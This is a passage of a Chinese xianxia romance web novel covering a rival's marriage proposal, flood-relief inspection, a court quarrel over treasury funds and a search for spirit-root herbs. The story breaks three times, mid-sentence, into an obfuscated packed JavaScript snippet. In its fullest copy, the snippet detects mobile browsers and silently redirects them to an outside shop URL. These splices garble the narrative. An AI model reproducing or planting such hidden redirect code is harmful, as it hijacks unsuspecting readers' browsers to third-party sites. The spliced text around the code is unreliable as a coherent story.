雨似乎小了些,应白决定问问周望监工都需要干什么,但他发现周望似笑非笑地看着他,声音十分有礼温和:“恕我直言,应公子似乎真的不太喜欢我,这样倒让我不好开口说接下来的事了。” 应白不知道他要说什么,先礼貌地笑了笑道:“周大人误会了,我这个人喜欢直言直语,难免让人多想,其实我一直想好好认识一下周大人,眼下正有此机会,若因我之过而让你我产生隔阂倒可惜了,不知周大人要说什么事?” 周望微微点头,他将身子坐正面对应白诚恳道:“我要说的事应公子莫觉得唐突,这是我深思熟虑过的,实乃我真心实意之决定。” 即便应白在心内说了无数遍稳定心神的话,但他还是预感到周望要说的事很危险。他平静道:“请周大人直言。” “除夕夜那晚我对容姑娘一见倾心,当时认为自己只是头脑一热,冷静过后就好了,但后来的每一天我只要静下来就会想起容姑娘的面容,我开始后悔除夕夜那晚没有问她是哪里人氏。 “幸运的是,我第一次拜访紫阳宫的时候竟再次遇见了容姑娘,方知容姑娘是沈宫主的朋友。陛下为民着想让容姑娘随我一同去监工,我私心甚悦,想借此机会与她多多认识,增进感情。 “应公子是容珠姑娘的师父,常言道一日为师终身为父,我既有了想求娶的心思,定然是要先过问你这个做师父的,周某自知平凡,与容姑娘有一定差距,不过周某更不愿失去良缘,容姑娘如此貌美,我心倾之,当然,如果容姑娘已有其他倾心之人或者有了婚配,周某自然不会再有此想。 “不知对于此事,应公子是否有意见?” * 容珠想了想还是觉得赵皇帝派她去监工这件事有点突然,不过是为国为民的好事,容珠欣然愿意前往。时间仓促,她在屋里收拾衣物,一想到可能有一到两个月见不到应白她心里就有点不舍。 她坐在床边,想到了上午应白对她说的那番颇有重量的话。 她不知道自己为什么既向往又退缩,邱梧从前跟她闲聊时说两个人彼此喜欢就可以在一起,可是在一起之后呢?那是什么样的情景? 容珠从没见过男女之间互相喜欢在一起相处的情景,关于父母同时在的记忆她已经记不清了,且容檀的母亲在生下她后就离开人世,叔叔婶婶的相处情景容珠也不曾看到过。 身处那个世界,成亲就是利益结合,不存在喜欢不喜欢,谁灵力高强就把对方定为自己的成亲人选,那里没有情存在。而朝荣国就不一样,男女之间两情相悦才会在一起,没有尊卑之分,没有高低贵贱,朝荣国处处都有情。 其实,容珠连自己为什么喜欢应白都不知道,有时她也会自我怀疑自己真的是那种想跟对方成亲的喜欢吗?如果是这样,那她又为什么要退缩呢? 阴雨连绵,天色渐渐暗了下来,已经有数日不曾见过夕阳了,容珠忽然一点都不想去监工,她把手里的衣服扔在床上,起身站到窗边想呼吸一下新鲜空气。 本该是春意浓郁的时候,幽径上缠绕的绿叶也被连日的雨水打得垂头丧气,葱葱绿叶下,应白正撑着一把伞站在雨中双目悲凉地看着不远处这座屋子。 “师父?” 两人都没想到对方会突然出现在自己的视线中。当心里思念的人真的出现在眼前时,容珠下意识高兴,但她很快发现了应白双眸里一闪而过的悲伤之色,随后见应白对她温和一笑,转身欲回自己屋里。 容珠快步走出房门,在试图设避雨屏障的一刹那她忽然返回屋里拿伞,疾步踏入了雨中。 匆匆脚步声从雨声中跨进了应白耳朵里,他驻足转身,见目露疑色的容珠撑伞来到他面前。 应白淡淡笑着:“没什么,我是想问问你明日启程,东西都准备好了吗?” “正在收拾呢。”容珠仔细端详着应白的眉眼,这双眉眼虽然在笑,可容珠的心却不知为何在抑制不住地揪着。 “师父,来我屋里坐坐吧。”容珠说不上来应白哪里不对劲,她想了想只能提议他来自己屋里,在雨中说话也不方便。 一说要进屋,应白心中便有一道禁忌之线竖起,因上次他控制不住自己的心越线亲了容珠,他现在本想开口拒绝,可道德与私心又出现了挣扎,他发现自己在这件事上根本无法做一个君子,他的确有些话想问问容珠。 二人把伞搁在门口进屋坐下,应白问:“你觉得周望这个人怎么样?” “咱们不是觉得他有点怪吗?”容珠知道应白对周望的直觉不算好,而且她跟周望相处时也有种说不上来的异常感。 应白细问道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“爱情的前提是要坦诚相待,人非圣贤,如果容姑娘在知道我所有的优点与缺陷后依然愿意跟我在一起,这便是爱,当两人的灵魂都接受了彼此之后便是海枯石烂也断绝不了这份爱,况且我也不认为我不是修炼之人这点是缺陷。” 窗外的雨声落在地上,敲在应白心间,他虽不认同灵力是必须拥有的东西,但他踏入了修炼这条路,过去所经历的一切以及未来走向都在告诉他离不开灵力。 没有灵核就无法对抗圣灵宫,没有灵核就不能更好地教容珠修炼,他不明白,自己没有灵核这件事怎么不是他的缺陷? 周望说自己不是修炼之人不是一项缺陷,应白没有他那般开阔,没有他在说爱情是什么这番话时所散发出的自信之光。 他承认,周望此人既有君子之风也有他所不能及的人生境界。 容珠值得世间最优秀的男子,而他远不及周望。 眼前的女子如此动人心魄,她的眉眼,她的每一寸肌肤都是应白心底的欲望,心头的恶魔蠢蠢欲动,他不想让容珠去监工,不想让容珠离开他的身边。 可自己不配,还要禁锢她吗?容珠喜欢谁,和谁在一起都是她的自由,她的幸福对自己来说才是最重要的。 应白没有直接回答容珠的问题,只道:“我先前凭感觉对周望存了主观态度,你此去监工正好有一个全面了解他的机会。这是奉皇家之命办事,周望是当朝官员,你跟他去我有什么担心的呢?” 天暗了下来,容珠看着应白撑伞出了门,雨丝密集,模糊了应白的背影。 翌日,周望来到紫阳宫接容珠。 93. 注视 今日没下雨,天阴得跟末日来临似的灰暗,空中的乌云相互挤挨在一起,仿佛再拥挤一点就能炸破,将蓄满的雨水倾泻而出,便又是一场瓢泼大雨。 周望站在紫阳宫主路边的假山旁,看着假山顶上两块凸起石块中间夹着的两片龙甲神色难辨。 手腕和小腿上的绷带今早刚缠好,若不是刚受伤那会实在疼得忍不住,周望是不会走路异常让三皇子发现了端倪。但是现在该疼的时候也会疼,不过周望能忍,他可不是一般人! 沈宫主并容珠等人远远走来,应白一眼就瞥见了早在等候着的周望,二人隔着一段距离相互对视。 同样一双特别的眼睛,周望散发着一种神秘的美,见他的人被其外表所吸引,但怎么也了解不到更多,而应白是让人心生依恋,就像在平凡忙碌的人生中忽然发现了一处安宁又不失意义的地方。 一个神秘仙美,一个俊朗温润。 一个是美丽的漩涡,一个是云清日明的桃园。 双方距离慢慢靠近,应白注意到周望的视线缓缓转移到容珠身上,双眸含笑。 昨晚他辗转反侧,孤夜寂静心凄怆,越想越觉得自己过于悲观了。 周望虽喜欢容珠,可容珠会不会喜欢他还不一定呢!而且他若想跟容珠站在一道线上,也不是一点办法都没有。 他先想了一番进圣灵宫拿回自己灵核的计策,不容置疑,凭他现在的能力根本毫无可能。 别说他现在是那个世界的头号罪人,就是他没有这个头衔,他也是一个普通人,连圣灵宫长阶前的结界都过不去,要想通过这个办法恢复灵力,要么有人助他,要么他有单独面对圣灵宫的本事。 身体发肤,灵核是应白的隐私,若不是关系很亲的人,应白不想让旁人插手这件事,且此事尚有风险,应白做不到为了自己的利益而让他人深陷险境,所以只剩下单打独斗这一个选项,也就是第二个途径: 再找灵根草,重新修炼灵力。 他不愁再花时间修炼,只要有修炼的资格便是柳暗花明又一村。 这般想着,那他和周望私下就成了情敌关系,应白算是明白了,再怎么克制约束自己,对周望就是喜欢不起来! 周望装作没察觉到应白盯着自己的目光,他笑对众人道:“今日正好不下雨,赶路也不受阻碍,卞城偏远,还需尽早出发。” 卞城虽不算是朝荣国的边界,但离都城十分远,路上顺利也得四五日才能到。卞城是容珠和周望要监工的第一座城,处在朝荣国西边,三皇子去了北边城池监工,赵皇帝派了位年轻的官员去了南边。 东边就在天子脚下,出了什么事赵皇帝第一时间就能知道,他晾那些官员不敢出什么幺蛾子。 人数有限城池多,一座城也就监工个四五天就要出发去下一座城。周望关切道:“这一行尽在路上颠簸,既费神又费力,恐容姑娘受苦。” 他语气真诚暧昧,不过沈宫主等人都知周望一向友善热情因此没多想,容珠心道了一句“周大人也太小题大做了吧”,随后同他客气了一番就准备要走,但顾云萧却嗅出了空气中夹杂着某丝若有若无的氛围,她目光若有所思地在周望和容珠之间流转。 紫阳宫大门前只停放着一辆马车,应白不禁蹙起眉头。容珠道:“师父,我走了。” 应白内心一沉,眉眼温和地笑着:“监工任务艰巨,我等你回来。” 一阵酥酥麻麻的痒意爬上心头,容珠浅浅一笑,顾云萧探究的目光又转移到应白身上。 周望前脚刚上马车,上官琛便发自内心地高兴道:“周大人慢走!” 马车在应白的视线中渐渐远去,直到融入进昏暗不清的薄雾中。 众人陆陆续续回去了。春风席席,吹回了应白的思绪,他正欲转身进紫阳宫,蓦然发现金毛正蹲在自己脚边抬头乖顺地看着他。 金毛“嘤嘤”了两声,摇了摇尾巴,抬起一只湿爪子搭在应白腿上,留下了一块湿漉漉的狗爪印。 应白俯身摸了摸它的头,温声道:“这段时间我不能陪你玩了,我还有更重要的事去做。” 金毛歪头,它其实不缺玩伴,紫阳宫的任何弟子看到它都会主动陪它玩一会儿,即便没人陪它玩,紫阳宫这么大,绕着跑一圈也够累的。狗鼻子灵,它只是嗅到了应白身上不同于别人的一种情绪,想安慰安慰他罢了。 * 阴沉的天让人辨不清时辰,容珠坐在马车里一会儿因应白的那句“我等你回来”和要去帮助百姓而激动,一会儿又因有段时日看不到应白和外头这糟糕天气而落寞,为了稳定自己心神,她决定问问周望监工都要做些什么。 其实昨天晚上沈宫主就到她屋里找过她,跟她说了监工大概要做的事。 她一不是朝中官员,二不是陛下有心提拔的官员候选,容珠到那里也就施加避雨屏障,若是看到百姓有什么需要帮忙的便帮忙,挖渠这种专业的事可能周望也懂得不多,陛下让他去的目的就是震慑地方官而已。 说了些话后沈宫主又帮容珠整理衣物,又说了两句邱梧在宫里的事儿便离开了。 此刻周望跟她说监工要干的事跟沈宫主讲的大差不离。容珠不是擅长找话题的人,她不说周望便也不说话,两人在马车里大部分时间是沉默的,这样的周望跟容珠印象里的客气热情又有点出入,她再次发觉周望这个人的确古怪。 路途漫长,周望时不时会在马车里睡觉,他每次睡觉后没多久天就下起了雨,时而春雨绵绵,时而瓢泼大雨。 容珠透过车帘看到商铺伙计们都在忙着往门口放沙袋,有些地方还没有设避雨屏障,不少道路成了雨河,已经有田地出现水涝现象,所有人都挽着裤腿忙着各自的事务。 小兵们穿着不怕脏的黑衣拿着工具疏通现有的河道,烂菜叶子、各种垃圾一捞一大把,还有不知怎么掉到河沟里被淹死的小狗。 容珠抬车帘的手僵立在半空,仿佛一把针刺向了她的心口,她看着那个小兵用破布条子将小狗包起放到推车里,静立了一会儿后又拿起工具继续干活。 冰凉的雨水点点滴滴擦过她的脸颊,她忽然觉得滴在她脸上的不是雨水而是血。 一种恐惧之感缓缓蔓延心头,她现在在这里看到一条小狗失去生命,那其他地方会不会还有被雨灾夺走的无辜生命? 魔龙降临雨灾至朝荣国,大到人类、屋舍和田地遭殃,小到飞鸟,野草和数以万计的生灵因泛滥的雨水而严重影响生存。 这天上的每一滴雨水仅仅是一滴水,而当它们像断了线的珠子似的劈里啪啦从天而降时便形成了可以伤害世间万物的强大之力。 降灾朝荣国就是恢复天道?屠害生灵就是天道? 天道让善恶共存,可原本的朝荣国明明人人都幸福快乐,容珠不懂,为什么世间一定要有恶与灾难? 嘈杂的吆喝声和什么东西的碰撞声让容珠心不在焉地看过去,挖渠的人们个个戴着斗笠身着蓑衣,马不停蹄地埋头苦干。 周望说恶劣天气一般不适合动工挖渠,但现在情况特殊紧急,劳工们就更得仔细地挖。在哪挖渠都有讲究,一个不注意就有可能因地势问题产生额外事故造成劳工伤亡。 马车弯弯绕绕在山脚下穿梭,绵密的雨丝忽然被隔断了,高空中透明的避雨屏障散发着施术者的淡淡灵力,不再有雨水冲刷容珠的面颊,她将车帘放下,内心百感交集。 白天赶路走走停停,晚上在客栈歇下,虽说雨水忽大忽小,但车夫似乎很会驾马且走得一直是宽敞大道,一路上还算顺利,终于在五日后到达卞城。 卞城知府姓王,早早来到城门口迎接,先将容珠和周望二人请到了知府大门里喝茶招待,汇报挖渠的进展,由于时间紧,周望拒绝了王知府让他们先歇息一晚的提议,准备随他去看看现场情况。 此时外头下着不大不小的雨,王知府给周望和容珠拿伞,忽然想到容珠是修炼之人不需要伞,但容珠还是接过来了。 来之前就听沈宫主说卞城这边的门派灵力相对弱一些,整个门派合力才能给五个村镇施加避雨屏障,且他们恢复灵力还得三天,三天之后原先施加的避雨屏障已经不坚固了,若修补完又没多少灵力再去给别的村镇避雨,是心有余而力不足。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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同样在劳作,眼前这些在雨中埋头苦干的人,他们来自卞城的每一户人家,他们是最平凡普通的百姓,但他们所做的一切都是为了整个卞城所有人的生存。他们有工钱,会按点吃饭,天黑后会回家睡觉…… “容女侠,”王知府的声音拉回了容珠的思绪,她看着眼前这个年纪大约四十岁左右,脸被晒得黢黑,眼角布满皱纹的知府大人,他目光含着殷切期盼,手指向卞城河上方的天空道: “卞城门派昨日在积水严重又无法挖沟的地方设了避雨屏障,眼下使不出过多的灵力,冒雨劳作既不方便又会增加工作量,不知容女侠能不能在卞城河上方施加避雨屏障,好让这些民工轻松一点,河道也能挖得快些。” 容珠心潮起伏,语气平静道:“当然可以。” 她放下伞先给自己施了个避雨屏障,然后足尖一点飞向卞城河上方,双掌凝力朝空中慢慢展开。 淡黄色的屏障朝各处延展,所有人都停下了手中的活注视着半空中的少女。 容珠感受到灼灼目光从底下的四面八方汇聚在她身上,这种被周遭所有人注视的感觉又回来了。 他们的笑容就像海边的阳光让容珠的心渐渐变得滚烫,她知道卞城的劳工跟南海的渔民有很大的不同,他们是鲜活的,他们的目光没有清凌门弟子看她的嘲笑和不屑,没有南海渔民的麻木和卑怯,他们共同凝聚了爱,源源不断地自下而上传递给她。 这一刻,在这个地方,容珠在众人心中是神女一样的存在,越来越多的人不再被雨水淋着,他们笑着,更卖力轻松地干着活。 她知道只有更好地完成防洪措施,世上才会有更少的百姓遭受雨灾,有更少的良田被淹,有更少的小狗或者生灵被雨水侵害…… 空中的屏障越来越大,她掌心散发出的淡黄色灵力渐渐发出了七彩光芒,地面上的人见到如此梦幻美丽的画面不禁张大嘴巴,目含惊奇。 容珠顿觉自己身上有无穷之力在徐徐施展,她明白,这些不是她的力量,从她掌心散发出的美丽的、让避雨屏障加速扩大的,是爱之力。 94. 遮心 今日早朝,赵皇帝提出各地修渠挖沟所耗银两甚大,国库无法承担,问诸位大臣有什么建议。 众大臣在底下面面相觑,朝荣国建国千年,甚少发生旱灾、疫病、洪涝等需要大量支出的银子,历代朝荣国君主都勤俭节约,体恤百姓,朝荣国库银积攒到现在应该算得上是十分充盈,何来无法承担一说? 经魔龙先前那番搅和,朝堂上的臣子已经各怀心思,人人心里都明白巍巍皇城绝不缺钱,赵皇帝如今又变了性情,谁知道陛下心里的真实想法是想让他们提什么建议?在尚未摸清陛下心意前谁也不想当这个出头鸟。 满殿鸦雀无声,赵皇帝微微皱眉。 “陛下,”右相见众臣不说话暗道他们没眼色,出列恭敬道:“陛下一心为民,实乃朝荣国百姓的荣誉,国难当前,人人都该劳心劳力,为陛下分忧。陛下拿出大把银两彰显皇恩,若再有不够的,让挨家挨户都拿出钱来,各地知府年年收俸禄,关键时刻自然也要派上用场,朝荣国百姓千万,如此一来,不就解决了燃眉之急嘛。” 寂静的朝堂传来窃窃私语之声,右相试图从赵皇帝的目光中得到赞赏,但赵皇帝没有看他,右相心中一凉,知道自己没说到赵皇帝心坎上。 有人道:“自古以来民间有难从没有让受难百姓出钱的道理,此法不妥,需再商议。” 有人道:“朝荣国历代少灾少难,国库应该很是充盈,虽说各地挖渠所耗银两的确不是个小数目,但也不会造成空虚,不知是否有臣子动了挪用公款而谋取私利的举动……” 赵皇帝清清嗓子道:“众卿莫忘了,去年寡人决定重修宫殿就已支出不少银子,年前选秀同样动财,寡人查过,国库银子的确不充裕,现在寡人是要你们给个对策,不是问寡人银子去哪里了。” 赵皇帝的声音透露着微微斥责,众臣不敢言语,方才右相一番话赵皇帝没有点头的意思,那谁也不知道高座上的人究竟想怎样。 见没人说话,赵皇帝的目光直视殿堂靠后的人群,锁定其中某一个人道:“沈宫主,你怎么看?” 若说在方才,沈宫主的确不知道赵皇帝又想打什么算盘,但他叫到自己名字的这一刻,沈宫主心里便明白了两分。 若国库真的没钱,她会义不容辞拿出真金白银来捐助,但赵皇帝别有用心,别人不敢说是别人的事,她沈青寒该说的还是要说。 “臣困惑,先帝在时,曾因国库充盈而下令每逢夏、冬两季给全国百姓发放避暑和过冬的补贴银两,此政策一直延续到先帝晚年。因此举深受百姓感动,百姓们决定用补贴银两来造一尊先帝佛像,以此表明先帝心怀天下,堪比神佛,后来先帝以恐侵犯神灵为由取消了该政策,距今也不过才二十年。当时国库盛况可给全国百姓,挨家挨户发放补贴,为何到了现在却连修渠挖道的银两也拿不出?不知是财政内史算错了账,还是有人想拿着国库银两暗度陈仓,另有目的?” 沈宫主说的最后八个字让满朝官员背后一冷,浑身战栗,这是明晃晃地指责陛下做事,即便说得很含蓄,但有脑子的人都知道沈青寒戳穿了陛下说国库空虚的借口。 “沈宫主!你没听到陛下方才说让我们给对策而不是讨论银子去向,抓不住重点也就算了你胆敢质疑杨大人,质问陛下?” 右相怒气冲冲的声音充斥着整个朝堂,他所说的杨大人正是朝荣国的财政内史,此刻杨大人战战兢兢,他十分清楚朝荣国的库银有多多,但既然陛下说国库空虚他就不能说与之截然相反的话。 历来朝荣国的开支一笔笔都清清楚楚,他可从没算错账过,而且今日之前,赵皇帝就没有单独叫过他问库银的事,不是陛下对库银不清楚而是他在考验自己是否明白该如何处事。 杨大人冷不防地撞上了赵皇帝看过来的幽冷目光,瞬间低下了头。 沈宫主凌厉的目光看向右相:“我在回答陛下的话你却插嘴多言,难道是想代替陛下执政,以下犯上吗?” 右相手指着沈宫主,脸憋得通红却不敢说一个字,他没有资格指责朝荣国第一宫主,虽然他不止一次这么干了,重要的是在沈宫主的强词夺理下,右相根本无从辩驳。 他垂着脑袋,十分委屈地看向赵皇帝。 赵皇帝冷着脸道:“沈宫主,寡人问你,有没有对策?” 话说到这份上,满朝官员都知道赵皇帝的真实想法是什么,沈宫主直视远处高座上的一国之主,沉声道:“百姓有难,紫阳宫自当竭尽所能,真心为民,各地良田若是被雨水侵害不仅损失朝荣国来年的收成,还易引起民间饥荒,造成民灾,民心不稳乃国家内忧,若是能用银钱及早杜绝这些问题发生,我想不仅是紫阳宫,整个朝荣国的门派都会义不容辞!” 沈青寒隐晦指责赵皇帝没有真心为民的言论在静悄悄的大殿里声声回荡,皇宫与紫阳宫对立的局面已经不容商榷,众人各怀着复杂的心情垂眸不语。 寂静了片刻后,邱宫主站出来道:“无尘宫愿捐赠银两支援各地!” 上官宫主站出来道:“红岭宫愿捐赠银两支援各地!” 朝堂开始骚动,后边站着的门派你看看我,我看看你,这个时候谁不站出来,谁就是不把民生放在心上! 赵皇帝分明是想让紫阳宫出钱,可沈宫主一番大义凛然的话还把他们都夹带上了,人人都心知肚明,赵皇帝针对的是紫阳宫,他们都是被沈宫主一句话牵连上的掏钱人,他们哪里有紫阳宫有钱? 打着为民的名义,只能往多了出钱,更何况这些钱是捐赠,不像施加避雨屏障似的,灵力歇两天就补回来了,这钱拿出去可没有回馈这一说。 赵皇帝要的就是沈宫主最后这句话。他知道沈宫主的为人,张口闭口就是百姓就是家国,好像整个国家的人都没有她为国为民。 一旦涉及到钱的问题,不是所有门派都心甘情愿。沈宫主则认为在百姓面前,舍钱为民是每个门派应该且毫不犹豫的责任。 立场不同,心思各异,曾经相互爱戴,相互尊敬的君臣终究要分个白天黑夜。沈宫主是臣,同样是赵皇帝无法奈何的臣,紫阳宫有本事跟赵皇帝翻脸,但这不是沈宫主想看到的局面。 赵皇帝不懂,他为的是彰显自己至高无上,不容侵犯的地位。 其余官员和各派之主也不懂,他们只认为是胜负与利益之间的较量。 他们都看不到朝荣国的内忧与外患,看不清朝荣国真正面对的是什么,他们早已忘了胸膛里面那颗心的最初模样。 阴云蔽日,遮住了多少人的一颗心。 * 雨打绿叶,薄雾穿林。 应白和顾寄章跟沈宫主打过招呼后,这两天一直在外搜寻灵根草。 如今邱梧和上官琛的灵力都已成熟,不需要顾寄章再传授什么,因此他这个先生的职位其实在很久以前就成了个虚位,即便顾寄章不在紫阳宫任职,他也无非去游历山川,偶尔去家传的几个铺子查看一下生意,做个观云看山的逍遥散人。 但邱梧和上官琛都对他有了浓厚的师生情,且沈宫主也开玩笑说,若是觉得紫阳宫给的月银多,她不给就是了,大家的情分又不是靠银子建立的。 后来顾寄章就留在了紫阳宫,协助沈宫主处理紫阳宫事务。 顾寄章听说应白要找灵根草修炼,想着紫阳宫最近的事务也还忙得过来便想着跟他一起,且若只靠应白一人翻完朝荣国所有的山不知要翻到何年何月。 应白不介意顾寄章的言外之意,这是事实,而且两个人做事的确会比他自己孤立无援要方便得多。 “其实阴雨天还是有点优势的,四周阴暗的时候,灵根草的光亮就会比较明显。”顾寄章拨开挡在眼前的枝杈,沉静的眸光缓缓扫视着周围植物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975002|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “上次邱梧中毒那会儿,先生和沈宫主等人找了几天都没收获,灵根草属于稀有珍宝,越是难得的东西越会让人付出更多的精力和时间,这似乎是一条世间规律,之前那么容易得到却出了岔子,可见不属于自己的东西即便拿到了也不会用上。” 顾寄章听出应白言语中略有消沉之意,他驻足偏头道:“我知你经历过失去灵核之痛,可你并非执念之人,从前我不曾看出你如此想恢复灵力,为何现在倒像生了欲望?” “欲望”两个字仿佛一个木槌忽地敲了一下应白的内心,他驻足出神地看着眼前湿意丛生的树林,忽然意识到自己的心如此乱。 连续几日都找不到灵根草让他心内筑起的希望之光一点点暗淡,他自认自己不是一个浮躁之人,只要真的想达到什么目标,他有的是耐心和毅力去前行。 从前师父教他的功法无一不是难于登天,可他天生有耐性,连师父也明言夸赞过,让他万不可丢弃,这也是他年纪轻轻就能位列圣灵的原因之一。 他明知灵根草难找,就像他少时学的那些功法一样有难度,这正需要他发挥耐性的时候,可怎么才找了几日他就开始忧虑消沉? 欲望在心里是邪恶的,但想得到灵根草,想和容珠站在一起的心无时无刻不在鼓动着他做出动作。 应白头一次意识到自己的内心深处在害怕一件事,即便少时练不成功法,即便在自己灵力尚不成熟时面对水怪,即便被剥夺灵核,被关押漩涡之境的那些时刻,他都从来没有生出害怕之心。 但只要一想到容珠不会喜欢自己就有无数怕意涌上心头,什么耐心,毅力都被这股怕意打散,聚拢不到一起。 “顾先生,人是不是不该有欲望?”他此刻的双眸充斥着纯净,好像幼时的他在向师父提问问题,但现在师父不在他身边,他想知道答案,便问了同样作为一位师父的顾寄章。 顾寄章转过身来,看着应白这双散发着与年龄不符的清澈之光,垂下眸子思索了一会道:“每个人都会有欲望,我们要做的是用合理的方式满足自己的欲望,如果……” 他看向应白:“如果你找不到灵根草,这并不代表你不会做出比用灵力更有价值的事。人生往往有得亦有失,你我是茶友亦是酒友,我不知道你拥有灵力后想干什么,但我要提个醒,你不妨换个角度想想,你想做的事非有灵力不可吗?或者如果不做这件事,你的人生就失去意义了吗?” 顾寄章忽然明白了什么,他问:“你想回去复仇?” 应白摇头,“如果不做这件事,从此以后我做什么事都将失去很大的意义,我的人生会少一束最耀眼的阳光。” 容珠突然跌进漩涡之境的那一刻,就像是猛然洒进漩涡之境的一束光,从此一直照耀着应白,给他枯败荒凉的生命注入了新鲜血液。 可应白无法拥抱这束光,如果将来有一天,这束光照亮了别人,应白在伤心失落后仍会选择重新站起来,继续在自己的人生路上前行,可这个世上再也没有这样一束明亮的光洒在他身上,他的人生是灰暗的。 “那这件事对你而言很有价值,你认为拥有了灵力,你才能做成这件事,才会让你的人生拥有这束阳光?”顾寄章的声音在清脆的雨声中显得平缓沉稳。 应白想点头,但他又想到了周望说的那句“我并不认为不是修炼之人这件事是个缺陷”这句话,随后他迷茫道:“我不确定,有人说不是,不过我更倾向于是的。” 顾寄章很有深意地看了他一眼,随后朝前一步站在他身旁说:“灵力不是一件必需品,有些人有,有些人没有,阳光温暖,它照耀世间万物,不会因为一个人有没有灵力而选择避开他,如果这束光需要你有灵力才会照亮你的话,我想它一定称不上有价值。” 顾寄章抬手指了指阴沉的天道:“乌云遮住了洒向朝荣国的光辉,好像也遮住了你的心?” 95. 爱情 二十岁那年,是应白人生中黑暗的开始。 他年少成名,仿佛一匹强健潇洒的马儿,尽情释放着浑身的肌肉和力量在草原驰骋,但他被一群拿着锁链的人抽掉了筋骨关了起来,一关就是五年。 他失去了五年的自由,失去了这五年中可能给他带来的成长和阅历,让他除了年龄实打实地增长外,内里的一颗心还是像二十岁那年似的在孤独受创时也会流露出渴望他人安慰的纯真。 他问顾寄章人该不该有欲望的那一刻,其实已经意识到了自己心中的欲望控制不住,没日没夜在叫嚣着得到灵根草,不希望周望赢得容珠的喜欢。 他少时学艺的时候就很喜欢挑战,越是难学的功法他越要试着学会,越是难练的剑法他越要试着练习。他视苦难为垫脚石,认为困难的东西都是对自己的考验。 但喜欢容珠不一样,容珠不是功法也不是剑法,应白没经历过感情也知道不是多么喜欢一个人就一定会得到她的喜欢。 容珠是一个鲜活,有感情的人,她有自己的喜好,那个人不一定是应白。 应白仿佛今日才真正认识自己,认识自己一颗无所畏惧的心会因一位女子而脆弱。 顾寄章说乌云遮住了他的心,他抬头,视线越过纸伞边缘看向灰蒙蒙的天。 “我不能算得上见多识广,博学多才,但活了半辈子还没有什么事能让我身处迷雾,如果你心有困惑,想不明白的话,我希望自己能有幸当一个聆听者。” 顾寄章一向严肃的脸此刻一改常态,他没有在笑,但眉眼之间却流露出了深深的真诚和温情,就像有人在这阴雨连绵的山间里生起了一个火堆,散发着徐徐温暖化去人身上的冰冷。 二人来到一处山洞前避雨,应白收起伞把它靠在石壁上,想了想道:“不知朝荣国内有没有门派中人与平民通婚的现象?” 这个问题乍一听很奇怪,似乎与他们的谈话挨不着边,但老练的顾寄章只需稍加思索便明白了应白的潜在意思。 他在紫阳宫这么多年,可以说是从小看着邱梧和上官琛长大的,过去几年,沈宫主曾为了邱梧的婚事焦头烂额,但邱梧以自己不喜欢那些人为由拒绝嫁人。 沈宫主不是没跟他说过邱梧对应白的感情,自从应白再次来紫阳宫后,沈宫主也明里暗里跟他透露过自己想趁机撮合两人的想法,但顾寄章认为感情一事得让当事人自己去解决。 不过邱梧好歹是他的教了十几年的徒弟,婚姻大事,他这个做先生的也很关心,虽说他也曾暗自观察应白和邱梧之间的互动,但他看不出两人之间有任何互相喜欢的迹象。 他本以为这件事可能不了了之了,但今日应白忽然说起这个话题,顾寄章似才恍然大悟似的。 原来应白和邱梧之间不是时过境迁,没了感情,而是此时的应白经历被剥灵核之后,身心受到了巨大的创伤,他以为自己没有灵力就无法和邱梧在一起! 原来应白这么消沉是因为原本美满的感情有了缺口,他受到了情伤! 应白看到立在自己身旁的顾先生在听完自己的问题后,双眸接二连三地散发出了不同的情绪,随后他双眉舒展,露出一个不易察觉的笑容道:“云萧的母亲就不是修炼之人。” 这是应白第一次听顾寄章说起他的原配。不过顾寄章没有继续说他的妻子,而是反问应白:“论灵力强弱,朝荣国内谁居第一?” 应白不知顾寄章要说什么,便先回答:“自然是沈宫主。” “那按照你方才问我的第一个问题的言外之意,你是否认为朝荣国内没有男子有资格去爱慕沈宫主?因为他们的灵力都没有沈宫主强,就不会诞生感情?” 顾寄章的疑问让应白忽然觉得遮挡内心的迷雾裂了一丝缝隙,有光亮透射了进来,他沉默着,片刻后道:“沈宫主并不看重灵力高低。” 顾寄章以过来人的口吻解释道:“爱情面前,人人平等。如果你灵力高强,是否介意自己的妻子没有灵力呢?” “不会。”应白毫不犹豫地回答了这个问题。如果容珠自始至终都修炼不起灵力,应白也会一如既往地喜欢她。 容珠虽然外表柔弱,但她骨子里有韧劲,她身体里藏着一份勇敢。她的眼泪之下是一颗颗闪闪发光的珍珠,这是容珠的魅力,是应白次次对她产生心动后的无法自拔。 顾寄章笑了笑,心里又感叹又高兴。 他感叹应白这样的年轻人不懂爱情的真谛,虽然他不知道应白和邱梧两个人之间具体聊到了什么地步,但应白既然觉得自己没有灵力便跟邱梧有了差距而担心配不上人家,这足以说明他动了真情,心中有责。 “云萧的母亲是个采珠女。”顾寄章拿袖子拍了拍脚边的石块坐了下来,也示意应白坐下。他目光平静,望着洞外雨帘,眸底的神情恍若丝丝雨线,散发着微微悲伤的凉意。 “我第一次见她的时候她穿着一身农家女的衣服,正光着脚在河边戏水。我路过此处,忽然听见一声惊呼,回头见她在岸边急得跺脚,原来她的一只鞋子顺着水流飘向了远处,这对我来讲是举手之劳,我便跃入河中帮她拿了鞋子。 